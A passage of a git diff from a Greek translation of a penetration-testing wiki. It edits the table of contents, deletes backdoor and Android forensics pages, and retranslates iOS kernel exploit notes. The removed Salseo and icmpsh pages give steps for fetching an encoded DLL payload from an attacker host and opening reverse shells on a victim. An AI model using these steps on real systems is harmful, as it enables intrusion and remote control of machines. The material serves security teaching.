Firewalls](macos-hardening/macos-security-and-privilege-escalation/macos-bypassing-firewalls.md) - [macOS Defensive Apps](macos-hardening/macos-security-and-privilege-escalation/macos-defensive-apps.md) + - [Macos Dyld Hijacking And Dyld Insert Libraries](macos-hardening/macos-security-and-privilege-escalation/macos-dyld-hijacking-and-dyld_insert_libraries.md) - [macOS GCD - Grand Central Dispatch](macos-hardening/macos-security-and-privilege-escalation/macos-gcd-grand-central-dispatch.md) - [macOS Kernel & System Extensions](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/README.md) - [macOS IOKit](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-iokit.md) @@ -217,8 +218,10 @@ # 🪟 Windows Hardening +- [Authentication Credentials Uac And Efs](windows-hardening/authentication-credentials-uac-and-efs.md) - [Checklist - Local Windows Privilege Escalation](windows-hardening/checklist-windows-privilege-escalation.md) - [Windows Local Privilege Escalation](windows-hardening/windows-local-privilege-escalation/README.md) + - [Dll Hijacking](windows-hardening/windows-local-privilege-escalation/dll-hijacking.md) - [Abusing Tokens](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md) - [Access Tokens](windows-hardening/windows-local-privilege-escalation/access-tokens.md) - [ACLs - DACLs/SACLs/ACEs](windows-hardening/windows-local-privilege-escalation/acls-dacls-sacls-aces.md) @@ -248,6 +251,7 @@ - [AD CS Domain Escalation](windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md) - [AD CS Domain Persistence](windows-hardening/active-directory-methodology/ad-certificates/domain-persistence.md) - [AD CS Certificate Theft](windows-hardening/active-directory-methodology/ad-certificates/certificate-theft.md) + - [Ad Certificates](windows-hardening/active-directory-methodology/ad-certificates.md) - [AD information in printers](windows-hardening/active-directory-methodology/ad-information-in-printers.md) - [AD DNS Records](windows-hardening/active-directory-methodology/ad-dns-records.md) - [ASREPRoast](windows-hardening/active-directory-methodology/asreproast.md) @@ -330,7 +334,7 @@ - [Manual DeObfuscation](mobile-pentesting/android-app-pentesting/manual-deobfuscation.md) - [React Native Application](mobile-pentesting/android-app-pentesting/react-native-application.md) - [Reversing Native Libraries](mobile-pentesting/android-app-pentesting/reversing-native-libraries.md) - - [Smali - Decompiling/\[Modifying\]/Compiling](mobile-pentesting/android-app-pentesting/smali-changes.md) + - [Smali - Decompiling, Modifying, Compiling](mobile-pentesting/android-app-pentesting/smali-changes.md) - [Spoofing your location in Play Store](mobile-pentesting/android-app-pentesting/spoofing-your-location-in-play-store.md) - [Tapjacking](mobile-pentesting/android-app-pentesting/tapjacking.md) - [Webview Attacks](mobile-pentesting/android-app-pentesting/webview-attacks.md) @@ -388,6 +392,7 @@ - [Buckets](network-services-pentesting/pentesting-web/buckets/README.md) - [Firebase Database](network-services-pentesting/pentesting-web/buckets/firebase-database.md) - [CGI](network-services-pentesting/pentesting-web/cgi.md) + - [Django](network-services-pentesting/pentesting-web/django.md) - [DotNetNuke (DNN)](network-services-pentesting/pentesting-web/dotnetnuke-dnn.md) - [Drupal](network-services-pentesting/pentesting-web/drupal/README.md) - [Drupal RCE](network-services-pentesting/pentesting-web/drupal/drupal-rce.md) @@ -398,7 +403,6 @@ - [Flask](network-services-pentesting/pentesting-web/flask.md) - [Git](network-services-pentesting/pentesting-web/git.md) - [Golang](network-services-pentesting/pentesting-web/golang.md) - - [GWT - Google Web Toolkit](network-services-pentesting/pentesting-web/gwt-google-web-toolkit.md) - [Grafana](network-services-pentesting/pentesting-web/grafana.md) - [GraphQL](network-services-pentesting/pentesting-web/graphql.md) - [H2 - Java SQL database](network-services-pentesting/pentesting-web/h2-java-sql-database.md) @@ -430,7 +434,7 @@ - [disable_functions bypass - via mem](network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-via-mem.md) - [disable_functions bypass - mod_cgi](network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-mod_cgi.md) - [disable_functions bypass - PHP 4 >= 4.2.0, PHP 5 pcntl_exec](network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-4-greater-than-4.2.0-php-5-pcntl_exec.md) - - [PHP - RCE abusing object creation: new $\_GET\["a"\]($\_GET\["b"\])](network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md) + - [Php Rce Abusing Object Creation New Usd Get A Usd Get B](network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md) - [PHP SSRF](network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md) - [PrestaShop](network-services-pentesting/pentesting-web/prestashop.md) - [Python](network-services-pentesting/pentesting-web/python.md) @@ -438,6 +442,7 @@ - [Ruby Tricks](network-services-pentesting/pentesting-web/ruby-tricks.md) - [Special HTTP headers$$external:network-services-pentesting/pentesting-web/special-http-headers.md$$]() - [Source code Review / SAST Tools](network-services-pentesting/pentesting-web/code-review-tools.md) + - [Special Http Headers](network-services-pentesting/pentesting-web/special-http-headers.md) - [Spring Actuators](network-services-pentesting/pentesting-web/spring-actuators.md) - [Symfony](network-services-pentesting/pentesting-web/symphony.md) - [Tomcat](network-services-pentesting/pentesting-web/tomcat/README.md) @@ -582,6 +587,7 @@ - [Exploiting \_\_VIEWSTATE without knowing the secrets](pentesting-web/deserialization/exploiting-__viewstate-parameter.md) - [Python Yaml Deserialization](pentesting-web/deserialization/python-yaml-deserialization.md) - [JNDI - Java Naming and Directory Interface & Log4Shell](pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.md) + - [Ruby Json Pollution](pentesting-web/deserialization/ruby-_json-pollution.md) - [Ruby Class Pollution](pentesting-web/deserialization/ruby-class-pollution.md) - [Domain/Subdomain takeover](pentesting-web/domain-subdomain-takeover.md) - [Email Injections](pentesting-web/email-injections.md) @@ -609,6 +615,7 @@ - [hop-by-hop headers](pentesting-web/abusing-hop-by-hop-headers.md) - [IDOR](pentesting-web/idor.md) - [JWT Vulnerabilities (Json Web Tokens)](pentesting-web/hacking-jwt-json-web-tokens.md) +- [JSON, XML and YAML Hacking](pentesting-web/json-xml-yaml-hacking.md) - [LDAP Injection](pentesting-web/ldap-injection.md) - [Login Bypass](pentesting-web/login-bypass/README.md) - [Login bypass List](pentesting-web/login-bypass/sql-login-bypass.md) @@ -641,6 +648,7 @@ - [MySQL File priv to SSRF/RCE](pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md) - [Oracle injection](pentesting-web/sql-injection/oracle-injection.md) - [Cypher Injection (neo4j)](pentesting-web/sql-injection/cypher-injection-neo4j.md) + - [Sqlmap](pentesting-web/sql-injection/sqlmap.md) - [PostgreSQL injection](pentesting-web/sql-injection/postgresql-injection/README.md) - [dblink/lo_import data exfiltration](pentesting-web/sql-injection/postgresql-injection/dblink-lo_import-data-exfiltration.md) - [PL/pgSQL Password Bruteforce](pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md) @@ -664,6 +672,7 @@ - [WebSocket Attacks](pentesting-web/websocket-attacks.md) - [Web Tool - WFuzz](pentesting-web/web-tool-wfuzz.md) - [XPATH injection](pentesting-web/xpath-injection.md) +- [XS Search](pentesting-web/xs-search.md) - [XSLT Server Side Injection (Extensible Stylesheet Language Transformations)](pentesting-web/xslt-server-side-injection-extensible-stylesheet-language-transformations.md) - [XXE - XEE - XML External Entity](pentesting-web/xxe-xee-xml-external-entity.md) - [XSS (Cross Site Scripting)](pentesting-web/xss-cross-site-scripting/README.md) @@ -845,13 +854,14 @@ # ✍️ TODO -- [Other Big References](todo/references.md) +- [Interesting Http](todo/interesting-http.md) - [Rust Basics](todo/rust-basics.md) - [More Tools](todo/more-tools.md) - [MISC](todo/misc.md) -- [Pentesting DNS](todo/pentesting-dns.md) - [Hardware Hacking](todo/hardware-hacking/README.md) + - [Fault Injection Attacks](todo/hardware-hacking/fault_injection_attacks.md) - [I2C](todo/hardware-hacking/i2c.md) + - [Side Channel Analysis](todo/hardware-hacking/side_channel_analysis.md) - [UART](todo/hardware-hacking/uart.md) - [Radio](todo/hardware-hacking/radio.md) - [JTAG](todo/hardware-hacking/jtag.md) @@ -878,8 +888,6 @@ - [Other Web Tricks](todo/other-web-tricks.md) - [Interesting HTTP$$external:todo/interesting-http.md$$]() - [Android Forensics](todo/android-forensics.md) -- [TR-069](todo/tr-069.md) -- [6881/udp - Pentesting BitTorrent](todo/6881-udp-pentesting-bittorrent.md) - [Online Platforms with API](todo/online-platforms-with-api.md) - [Stealing Sensitive Information Disclosure from a Web](todo/stealing-sensitive-information-disclosure-from-a-web.md) - [Post Exploitation](todo/post-exploitation.md) @@ -887,3 +895,11 @@ - [Cookies Policy](todo/cookies-policy.md) + + - [Readme](blockchain/blockchain-and-crypto-currencies/README.md) + - [Readme](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md) + - [Readme](network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/README.md) + - [Readme](pentesting-web/web-vulnerabilities-methodology/README.md) + - [Readme](reversing/cryptographic-algorithms/README.md) + - [Readme](reversing/reversing-tools/README.md) + - [Readme](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens/README.md) \ No newline at end of file diff --git a/src/android-forensics.md b/src/android-forensics.md deleted file mode 100644 index 4088ba0a8..000000000 --- a/src/android-forensics.md +++ /dev/null @@ -1,27 +0,0 @@ -# Android Forensics - -{{#include ./banners/hacktricks-training.md}} - -## Κλειδωμένη Σ συσκευή - -Για να ξεκινήσετε την εξαγωγή δεδομένων από μια συσκευή Android, πρέπει να είναι ξεκλειδωμένη. Αν είναι κλειδωμένη, μπορείτε να: - -- Ελέγξετε αν η συσκευή έχει ενεργοποιημένη την αποσφαλμάτωση μέσω USB. -- Ελέγξετε για μια πιθανή [smudge attack](https://www.usenix.org/legacy/event/woot10/tech/full_papers/Aviv.pdf) -- Δοκιμάστε με [Brute-force](https://www.cultofmac.com/316532/this-brute-force-device-can-crack-any-iphones-pin-code/) - -## Απόκτηση Δεδομένων - -Δημιουργήστε ένα [android backup using adb](mobile-pentesting/android-app-pentesting/adb-commands.md#backup) και εξαγάγετέ το χρησιμοποιώντας το [Android Backup Extractor](https://sourceforge.net/projects/adbextractor/): `java -jar abe.jar unpack file.backup file.tar` - -### Αν έχετε πρόσβαση root ή φυσική σύνδεση στη διεπαφή JTAG - -- `cat /proc/partitions` (αναζητήστε τη διαδρομή στη μνήμη flash, γενικά η πρώτη καταχώρηση είναι _mmcblk0_ και αντιστοιχεί σε ολόκληρη τη μνήμη flash). -- `df /data` (Ανακαλύψτε το μέγεθος μπλοκ του συστήματος). -- dd if=/dev/block/mmcblk0 of=/sdcard/blk0.img bs=4096 (εκτελέστε το με τις πληροφορίες που συλλέξατε από το μέγεθος μπλοκ). - -### Μνήμη - -Χρησιμοποιήστε το Linux Memory Extractor (LiME) για να εξαγάγετε τις πληροφορίες RAM. Είναι μια επέκταση πυρήνα που πρέπει να φορτωθεί μέσω adb. - -{{#include ./banners/hacktricks-training.md}} diff --git a/src/backdoors/icmpsh.md b/src/backdoors/icmpsh.md deleted file mode 100644 index 8115f6adf..000000000 --- a/src/backdoors/icmpsh.md +++ /dev/null @@ -1,25 +0,0 @@ -{{#include ../banners/hacktricks-training.md}} - -Κατεβάστε το backdoor από: [https://github.com/inquisb/icmpsh](https://github.com/inquisb/icmpsh) - -# Client side - -Εκτελέστε το σενάριο: **run.sh** - -**Αν λάβετε κάποιο σφάλμα, προσπαθήστε να αλλάξετε τις γραμμές:** -```bash -IPINT=$(ifconfig | grep "eth" | cut -d " " -f 1 | head -1) -IP=$(ifconfig "$IPINT" |grep "inet addr:" |cut -d ":" -f 2 |awk '{ print $1 }') -``` -**Για:** -```bash -echo Please insert the IP where you want to listen -read IP -``` -# **Πλευρά Θύματος** - -Ανεβάστε **icmpsh.exe** στο θύμα και εκτελέστε: -```bash -icmpsh.exe -t -d 500 -b 30 -s 128 -``` -{{#include ../banners/hacktricks-training.md}} diff --git a/src/backdoors/salseo.md b/src/backdoors/salseo.md deleted file mode 100644 index c509e9016..000000000 --- a/src/backdoors/salseo.md +++ /dev/null @@ -1,158 +0,0 @@ -# Salseo - -{{#include ../banners/hacktricks-training.md}} - -## Συγκέντρωση των δυαδικών αρχείων - -Κατεβάστε τον πηγαίο κώδικα από το github και συγκεντρώστε το **EvilSalsa** και το **SalseoLoader**. Θα χρειαστείτε εγκατεστημένο το **Visual Studio** για να συγκεντρώσετε τον κώδικα. - -Συγκεντρώστε αυτά τα έργα για την αρχιτεκτονική της Windows συσκευής όπου θα τα χρησιμοποιήσετε (Αν τα Windows υποστηρίζουν x64, συγκεντρώστε τα για αυτές τις αρχιτεκτονικές). - -Μπορείτε να **επιλέξετε την αρχιτεκτονική** μέσα στο Visual Studio στην **αριστερή καρτέλα "Build"** στην **"Platform Target".** - -(**Αν δεν μπορείτε να βρείτε αυτές τις επιλογές, πατήστε στην **"Project Tab"** και στη συνέχεια στην **"\ Properties"**) - -![](<../images/image (132).png>) - -Στη συνέχεια, κατασκευάστε και τα δύο έργα (Build -> Build Solution) (Μέσα στα logs θα εμφανιστεί η διαδρομή του εκτελέσιμου): - -![](<../images/image (1) (2) (1) (1) (1).png>) - -## Προετοιμάστε το Backdoor - -Πρώτα απ' όλα, θα χρειαστεί να κωδικοποιήσετε το **EvilSalsa.dll.** Για να το κάνετε αυτό, μπορείτε να χρησιμοποιήσετε το python script **encrypterassembly.py** ή μπορείτε να συγκεντρώσετε το έργο **EncrypterAssembly**: - -### **Python** -``` -python EncrypterAssembly/encrypterassembly.py -python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa.dll.txt -``` -### Windows -``` -EncrypterAssembly.exe -EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt -``` -Εντάξει, τώρα έχετε όλα όσα χρειάζεστε για να εκτελέσετε όλα τα πράγματα του Salseo: το **encoded EvilDalsa.dll** και το **binary of SalseoLoader.** - -**Ανεβάστε το SalseoLoader.exe binary στη μηχανή. Δεν θα πρέπει να ανιχνευτούν από κανένα AV...** - -## **Εκτέλεση του backdoor** - -### **Λήψη ενός TCP reverse shell (κατεβάζοντας το encoded dll μέσω HTTP)** - -Θυμηθείτε να ξεκινήσετε ένα nc ως τον listener του reverse shell και έναν HTTP server για να σερβίρετε το encoded evilsalsa. -``` -SalseoLoader.exe password http:///evilsalsa.dll.txt reversetcp -``` -### **Λήψη ενός UDP reverse shell (κατέβασμα κωδικοποιημένου dll μέσω SMB)** - -Θυμηθείτε να ξεκινήσετε ένα nc ως τον listener του reverse shell και έναν SMB server για να εξυπηρετήσει το κωδικοποιημένο evilsalsa (impacket-smbserver). -``` -SalseoLoader.exe password \\/folder/evilsalsa.dll.txt reverseudp -``` -### **Λήψη ICMP reverse shell (κωδικοποιημένο dll ήδη μέσα στον θύμα)** - -**Αυτή τη φορά χρειάζεστε ένα ειδικό εργαλείο στον πελάτη για να λάβετε το reverse shell. Κατεβάστε:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh) - -#### **Απενεργοποίηση Απαντήσεων ICMP:** -``` -sysctl -w net.ipv4.icmp_echo_ignore_all=1 - -#You finish, you can enable it again running: -sysctl -w net.ipv4.icmp_echo_ignore_all=0 -``` -#### Εκτέλεση του πελάτη: -``` -python icmpsh_m.py "" "" -``` -#### Μέσα στον θύμα, ας εκτελέσουμε το salseo πράγμα: -``` -SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp -``` -## Συγκέντρωση του SalseoLoader ως DLL που εξάγει τη βασική λειτουργία - -Ανοίξτε το έργο SalseoLoader χρησιμοποιώντας το Visual Studio. - -### Προσθέστε πριν από τη βασική λειτουργία: \[DllExport] - -![](<../images/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>) - -### Εγκαταστήστε το DllExport για αυτό το έργο - -#### **Εργαλεία** --> **Διαχειριστής Πακέτων NuGet** --> **Διαχείριση Πακέτων NuGet για τη Λύση...** - -![](<../images/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>) - -#### **Αναζητήστε το πακέτο DllExport (χρησιμοποιώντας την καρτέλα Αναζήτησης) και πατήστε Εγκατάσταση (και αποδεχτείτε το αναδυόμενο παράθυρο)** - -![](<../images/image (4) (1) (1) (1) (1) (1) (1) (1) (1).png>) - -Στο φάκελο του έργου σας έχουν εμφανιστεί τα αρχεία: **DllExport.bat** και **DllExport_Configure.bat** - -### **Α**πεγκαταστήστε το DllExport - -Πατήστε **Απεγκατάσταση** (ναι, είναι περίεργο αλλά εμπιστευτείτε με, είναι απαραίτητο) - -![](<../images/image (5) (1) (1) (2) (1).png>) - -### **Έξοδος από το Visual Studio και εκτέλεση του DllExport_configure** - -Απλά **έξοδος** από το Visual Studio - -Στη συνέχεια, πηγαίνετε στο **φάκελο SalseoLoader** σας και **εκτελέστε το DllExport_Configure.bat** - -Επιλέξτε **x64** (αν πρόκειται να το χρησιμοποιήσετε μέσα σε ένα x64 box, αυτό ήταν η περίπτωση μου), επιλέξτε **System.Runtime.InteropServices** (μέσα στο **Namespace για DllExport**) και πατήστε **Εφαρμογή** - -![](<../images/image (7) (1) (1) (1) (1).png>) - -### **Ανοίξτε ξανά το έργο με το Visual Studio** - -**\[DllExport]** δεν θα πρέπει πλέον να επισημαίνεται ως σφάλμα - -![](<../images/image (8) (1).png>) - -### Δημιουργία της λύσης - -Επιλέξτε **Τύπος Έξοδου = Βιβλιοθήκη Κλάσης** (Έργο --> Ιδιότητες SalseoLoader --> Εφαρμογή --> Τύπος εξόδου = Βιβλιοθήκη Κλάσης) - -![](<../images/image (10) (1).png>) - -Επιλέξτε **πλατφόρμα x64** (Έργο --> Ιδιότητες SalseoLoader --> Δημιουργία --> Στόχος πλατφόρμας = x64) - -![](<../images/image (9) (1) (1).png>) - -Για να **δημιουργήσετε** τη λύση: Δημιουργία --> Δημιουργία Λύσης (Μέσα στην κονσόλα εξόδου θα εμφανιστεί η διαδρομή της νέας DLL) - -### Δοκιμάστε την παραγόμενη DLL - -Αντιγράψτε και επικολλήστε την DLL όπου θέλετε να τη δοκιμάσετε. - -Εκτελέστε: -``` -rundll32.exe SalseoLoader.dll,main -``` -Αν δεν εμφανιστεί σφάλμα, πιθανότατα έχετε μια λειτουργική DLL!! - -## Αποκτήστε ένα shell χρησιμοποιώντας τη DLL - -Μην ξεχάσετε να χρησιμοποιήσετε έναν **HTTP** **server** και να ρυθμίσετε έναν **nc** **listener** - -### Powershell -``` -$env:pass="password" -$env:payload="http://10.2.0.5/evilsalsax64.dll.txt" -$env:lhost="10.2.0.5" -$env:lport="1337" -$env:shell="reversetcp" -rundll32.exe SalseoLoader.dll,main -``` -### CMD -``` -set pass=password -set payload=http://10.2.0.5/evilsalsax64.dll.txt -set lhost=10.2.0.5 -set lport=1337 -set shell=reversetcp -rundll32.exe SalseoLoader.dll,main -``` -{{#include ../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/arbitrary-write-2-exec/README.md b/src/binary-exploitation/arbitrary-write-2-exec/README.md index c99e8acbc..11f28b2aa 100644 --- a/src/binary-exploitation/arbitrary-write-2-exec/README.md +++ b/src/binary-exploitation/arbitrary-write-2-exec/README.md @@ -1 +1,3 @@ -# Αυθαίρετη Γραφή 2 Εκτέλεση +# Arbitrary Write 2 Exec + +{{#include /banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/ios-exploiting.md b/src/binary-exploitation/ios-exploiting.md index 8a4bbc25a..bc9cd6036 100644 --- a/src/binary-exploitation/ios-exploiting.md +++ b/src/binary-exploitation/ios-exploiting.md @@ -1,87 +1,89 @@ # iOS Exploiting -## Physical use-after-free +{{#include /banners/hacktricks-training.md}} -Αυτή είναι μια περίληψη από την ανάρτηση από [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html) επιπλέον, περισσότερες πληροφορίες σχετικά με την εκμετάλλευση χρησιμοποιώντας αυτή την τεχνική μπορούν να βρεθούν στο [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd) +## Φυσική χρήση μετά από απελευθέρωση -### Memory management in XNU +Αυτή είναι μια περίληψη από την ανάρτηση από [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html) επιπλέον περισσότερες πληροφορίες σχετικά με την εκμετάλλευση χρησιμοποιώντας αυτή την τεχνική μπορούν να βρεθούν στο [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd) -Ο **εικονικός χώρος διευθύνσεων μνήμης** για τις διεργασίες χρήστη στο iOS εκτείνεται από **0x0 έως 0x8000000000**. Ωστόσο, αυτές οι διευθύνσεις δεν αντιστοιχούν άμεσα σε φυσική μνήμη. Αντίθετα, ο **kernel** χρησιμοποιεί **πίνακες σελίδων** για να μεταφράσει τις εικονικές διευθύνσεις σε πραγματικές **φυσικές διευθύνσεις**. +### Διαχείριση μνήμης στο XNU -#### Levels of Page Tables in iOS +Ο **εικονικός χώρος διευθύνσεων μνήμης** για τις διεργασίες χρήστη στο iOS εκτείνεται από **0x0 έως 0x8000000000**. Ωστόσο, αυτές οι διευθύνσεις δεν αντιστοιχούν άμεσα σε φυσική μνήμη. Αντίθετα, ο ** πυρήνας** χρησιμοποιεί **πίνακες σελίδων** για να μεταφράσει τις εικονικές διευθύνσεις σε πραγματικές **φυσικές διευθύνσεις**. + +#### Επίπεδα Πινάκων Σελίδων στο iOS Οι πίνακες σελίδων οργανώνονται ιεραρχικά σε τρία επίπεδα: -1. **L1 Page Table (Επίπεδο 1)**: +1. **Πίνακας Σελίδων L1 (Επίπεδο 1)**: * Κάθε εγγραφή εδώ αντιπροσωπεύει ένα μεγάλο εύρος εικονικής μνήμης. * Καλύπτει **0x1000000000 bytes** (ή **256 GB**) εικονικής μνήμης. -2. **L2 Page Table (Επίπεδο 2)**: +2. **Πίνακας Σελίδων L2 (Επίπεδο 2)**: * Μια εγγραφή εδώ αντιπροσωπεύει μια μικρότερη περιοχή εικονικής μνήμης, συγκεκριμένα **0x2000000 bytes** (32 MB). * Μια εγγραφή L1 μπορεί να δείχνει σε έναν πίνακα L2 αν δεν μπορεί να αντιστοιχίσει ολόκληρη την περιοχή μόνη της. -3. **L3 Page Table (Επίπεδο 3)**: +3. **Πίνακας Σελίδων L3 (Επίπεδο 3)**: * Αυτό είναι το πιο λεπτομερές επίπεδο, όπου κάθε εγγραφή αντιστοιχεί σε μια μεμονωμένη **4 KB** σελίδα μνήμης. * Μια εγγραφή L2 μπορεί να δείχνει σε έναν πίνακα L3 αν χρειάζεται πιο λεπτομερής έλεγχος. -#### Mapping Virtual to Physical Memory +#### Αντιστοίχιση Εικονικής σε Φυσική Μνήμη -* **Direct Mapping (Block Mapping)**: -* Ορισμένες εγγραφές σε έναν πίνακα σελίδων **αντιστοιχούν άμεσα σε ένα εύρος εικονικών διευθύνσεων** σε μια συνεχόμενη περιοχή φυσικών διευθύνσεων (όπως μια συντόμευση). -* **Pointer to Child Page Table**: -* Αν χρειάζεται πιο λεπτομερής έλεγχος, μια εγγραφή σε ένα επίπεδο (π.χ., L1) μπορεί να δείχνει σε έναν **πίνακα παιδιών** στο επόμενο επίπεδο (π.χ., L2). +* **Άμεση Αντιστοίχιση (Block Mapping)**: +* Ορισμένες εγγραφές σε έναν πίνακα σελίδων αντιστοιχούν άμεσα σε **ένα εύρος εικονικών διευθύνσεων** σε ένα συνεχόμενο εύρος φυσικών διευθύνσεων (όπως μια συντόμευση). +* **Δείκτης σε Παιδικό Πίνακα Σελίδων**: +* Αν χρειάζεται πιο λεπτομερής έλεγχος, μια εγγραφή σε ένα επίπεδο (π.χ., L1) μπορεί να δείχνει σε έναν **παιδικό πίνακα σελίδων** στο επόμενο επίπεδο (π.χ., L2). -#### Example: Mapping a Virtual Address +#### Παράδειγμα: Αντιστοίχιση Εικονικής Διεύθυνσης -Ας πούμε ότι προσπαθείτε να αποκτήσετε πρόσβαση στη εικονική διεύθυνση **0x1000000000**: +Ας πούμε ότι προσπαθείτε να αποκτήσετε πρόσβαση στην εικονική διεύθυνση **0x1000000000**: -1. **L1 Table**: -* Ο kernel ελέγχει την εγγραφή του πίνακα L1 που αντιστοιχεί σε αυτή τη εικονική διεύθυνση. Αν έχει μια **δείκτη σε έναν πίνακα L2**, πηγαίνει σε αυτόν τον πίνακα L2. -2. **L2 Table**: -* Ο kernel ελέγχει τον πίνακα L2 για μια πιο λεπτομερή αντιστοίχιση. Αν αυτή η εγγραφή δείχνει σε έναν **πίνακα L3**, προχωρά εκεί. -3. **L3 Table**: -* Ο kernel αναζητά την τελική εγγραφή L3, η οποία δείχνει στη **φυσική διεύθυνση** της πραγματικής σελίδας μνήμης. +1. **Πίνακας L1**: +* Ο πυρήνας ελέγχει την εγγραφή του πίνακα σελίδων L1 που αντιστοιχεί σε αυτή την εικονική διεύθυνση. Αν έχει έναν **δείκτη σε έναν πίνακα σελίδων L2**, πηγαίνει σε αυτόν τον πίνακα L2. +2. **Πίνακας L2**: +* Ο πυρήνας ελέγχει τον πίνακα σελίδων L2 για μια πιο λεπτομερή αντιστοίχιση. Αν αυτή η εγγραφή δείχνει σε έναν **πίνακα σελίδων L3**, προχωρά εκεί. +3. **Πίνακας L3**: +* Ο πυρήνας αναζητά την τελική εγγραφή L3, η οποία δείχνει στη **φυσική διεύθυνση** της πραγματικής σελίδας μνήμης. -#### Example of Address Mapping +#### Παράδειγμα Αντιστοίχισης Διεύθυνσης Αν γράψετε τη φυσική διεύθυνση **0x800004000** στον πρώτο δείκτη του πίνακα L2, τότε: * Οι εικονικές διευθύνσεις από **0x1000000000** έως **0x1002000000** αντιστοιχούν σε φυσικές διευθύνσεις από **0x800004000** έως **0x802004000**. -* Αυτό είναι μια **block mapping** στο επίπεδο L2. +* Αυτό είναι μια **αντιστοίχιση μπλοκ** στο επίπεδο L2. Εναλλακτικά, αν η εγγραφή L2 δείχνει σε έναν πίνακα L3: -* Κάθε σελίδα 4 KB στην εικονική διεύθυνση **0x1000000000 -> 0x1002000000** θα αντιστοιχίζεται από μεμονωμένες εγγραφές στον πίνακα L3. +* Κάθε σελίδα 4 KB στην εικονική περιοχή διευθύνσεων **0x1000000000 -> 0x1002000000** θα αντιστοιχίζεται από μεμονωμένες εγγραφές στον πίνακα L3. -### Physical use-after-free +### Φυσική χρήση μετά από απελευθέρωση -Μια **φυσική χρήση μετά την απελευθέρωση** (UAF) συμβαίνει όταν: +Μια **φυσική χρήση μετά από απελευθέρωση** (UAF) συμβαίνει όταν: 1. Μια διεργασία **κατανέμει** κάποια μνήμη ως **αναγνώσιμη και εγγράψιμη**. 2. Οι **πίνακες σελίδων** ενημερώνονται για να αντιστοιχίσουν αυτή τη μνήμη σε μια συγκεκριμένη φυσική διεύθυνση που μπορεί να προσπελάσει η διεργασία. 3. Η διεργασία **απελευθερώνει** (ελευθερώνει) τη μνήμη. -4. Ωστόσο, λόγω ενός **σφάλματος**, ο kernel **ξεχνά να αφαιρέσει την αντιστοίχιση** από τους πίνακες σελίδων, αν και σημειώνει τη σχετική φυσική μνήμη ως ελεύθερη. -5. Ο kernel μπορεί στη συνέχεια να **ανακατανείμει αυτή τη "ελεύθερη" φυσική μνήμη** για άλλους σκοπούς, όπως **δεδομένα του kernel**. +4. Ωστόσο, λόγω ενός **σφάλματος**, ο πυρήνας **ξεχνά να αφαιρέσει την αντιστοίχιση** από τους πίνακες σελίδων, αν και σημειώνει τη σχετική φυσική μνήμη ως ελεύθερη. +5. Ο πυρήνας μπορεί στη συνέχεια να **ανακατανείμει αυτή τη "ελεύθερη" φυσική μνήμη** για άλλους σκοπούς, όπως **δεδομένα πυρήνα**. 6. Δεδομένου ότι η αντιστοίχιση δεν αφαιρέθηκε, η διεργασία μπορεί ακόμα να **διαβάσει και να γράψει** σε αυτή τη φυσική μνήμη. -Αυτό σημαίνει ότι η διεργασία μπορεί να έχει πρόσβαση σε **σελίδες μνήμης του kernel**, οι οποίες θα μπορούσαν να περιέχουν ευαίσθητα δεδομένα ή δομές, επιτρέποντας ενδεχομένως σε έναν επιτιθέμενο να **χειριστεί τη μνήμη του kernel**. +Αυτό σημαίνει ότι η διεργασία μπορεί να έχει πρόσβαση σε **σελίδες μνήμης πυρήνα**, οι οποίες θα μπορούσαν να περιέχουν ευαίσθητα δεδομένα ή δομές, επιτρέποντας ενδεχομένως σε έναν επιτιθέμενο να **χειριστεί τη μνήμη του πυρήνα**. -### Exploitation Strategy: Heap Spray +### Στρατηγική Εκμετάλλευσης: Heap Spray -Δεδομένου ότι ο επιτιθέμενος δεν μπορεί να ελέγξει ποιες συγκεκριμένες σελίδες του kernel θα ανατεθούν σε ελεύθερη μνήμη, χρησιμοποιούν μια τεχνική που ονομάζεται **heap spray**: +Δεδομένου ότι ο επιτιθέμενος δεν μπορεί να ελέγξει ποιες συγκεκριμένες σελίδες πυρήνα θα ανατεθούν σε ελεύθερη μνήμη, χρησιμοποιούν μια τεχνική που ονομάζεται **heap spray**: -1. Ο επιτιθέμενος **δημιουργεί έναν μεγάλο αριθμό αντικειμένων IOSurface** στη μνήμη του kernel. +1. Ο επιτιθέμενος **δημιουργεί έναν μεγάλο αριθμό αντικειμένων IOSurface** στη μνήμη του πυρήνα. 2. Κάθε αντικείμενο IOSurface περιέχει μια **μαγική τιμή** σε ένα από τα πεδία του, διευκολύνοντας την αναγνώριση. -3. **Σαρώνονται οι ελεύθερες σελίδες** για να δουν 